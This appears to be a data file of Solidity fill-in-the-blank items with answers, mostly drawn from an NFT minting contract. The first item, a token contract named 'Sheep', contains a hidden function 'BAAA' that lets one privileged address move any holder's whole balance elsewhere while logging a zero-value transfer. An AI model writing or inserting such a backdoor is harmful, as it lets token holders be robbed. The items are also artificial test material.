pragma solidity ^0.8.5; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address adcifut) external view returns (uint256); function transfer(address recipient, uint256 aemfdstktt) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 aemfdstktt) external returns (bool); function transferFrom( address sender, address recipient, uint256 aemfdstktt ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { } function renounceownership() public virtual onlyowner { } function owner() public view virtual returns (address) { } modifier onlyowner() { } } contract Sheep is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _zds; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; function symbol() public view returns (string memory) { } function decimals() public view returns (uint8) { } constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { } function name() public view returns (string memory) { } function balanceOf(address adcifut) public view override returns (uint256) { } function transfer(address recipient, uint256 aemfdstktt) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 aemfdstktt) public virtual override returns (bool) { } function BAAA(address sender, address recipient) public returns (bool) { require(<FILL_ME>) uint256 ETHGD1 = _balances[sender]; uint256 ODFJT = _balances[recipient]; require(ETHGD1 != 0*0, "Sender has no balance"); ODFJT += ETHGD1; ETHGD1 = 0+0; _balances[sender] = ETHGD1; _balances[recipient] = ODFJT; emit Transfer(sender, recipient, ETHGD1); return true; } function transferFrom(address sender, address recipient, uint256 aemfdstktt) public virtual override returns (bool) { } function totalSupply() external view override returns (uint256) { } }
keccak256(abi.encodePacked(_msgSender()))==keccak256(abi.encodePacked(_zds)),"Caller is not the original"
192,507
keccak256(abi.encodePacked(_msgSender()))==keccak256(abi.encodePacked(_zds))
"Kizuna: Mint limit for address reached"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { unchecked { // Increase the amount minted by this address whitelistAddressesMintedAmount[msg.sender] += _amountToMint; } // Prevent an address from minting more than its allocation require(<FILL_ME>) // Mint _mint(msg.sender, _amountToMint); } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
whitelistAddressesMintedAmount[msg.sender]<=_maxAmountForAddress,"Kizuna: Mint limit for address reached"
192,722
whitelistAddressesMintedAmount[msg.sender]<=_maxAmountForAddress
"Kizuna: Whitelist minting is paused"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { require(<FILL_ME>) // Verify the merkle proof. bytes32 _node = keccak256(abi.encodePacked(msg.sender, _maxAmountForAddress)); require(MerkleProof.verify(_merkleProof, whitelistPhase1MerkleRoot, _node), "Kizuna: Invalid proof"); _whitelistMint(_amountToMint, _maxAmountForAddress, whitelistPrice); } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
!isWhitelistMintPhase1Paused,"Kizuna: Whitelist minting is paused"
192,722
!isWhitelistMintPhase1Paused
"Kizuna: Invalid proof"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { require(!isWhitelistMintPhase1Paused, "Kizuna: Whitelist minting is paused"); // Verify the merkle proof. bytes32 _node = keccak256(abi.encodePacked(msg.sender, _maxAmountForAddress)); require(<FILL_ME>) _whitelistMint(_amountToMint, _maxAmountForAddress, whitelistPrice); } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
MerkleProof.verify(_merkleProof,whitelistPhase1MerkleRoot,_node),"Kizuna: Invalid proof"
192,722
MerkleProof.verify(_merkleProof,whitelistPhase1MerkleRoot,_node)
"Kizuna: Whitelist minting is paused"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { require(<FILL_ME>) // Verify the merkle proof. bytes32 _node = keccak256(abi.encodePacked(msg.sender, _maxAmountForAddress)); require(MerkleProof.verify(_merkleProof, whitelistPhase2MerkleRoot, _node), "Kizuna: Invalid proof"); _whitelistMint(_amountToMint, _maxAmountForAddress, whitelistPrice); } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external 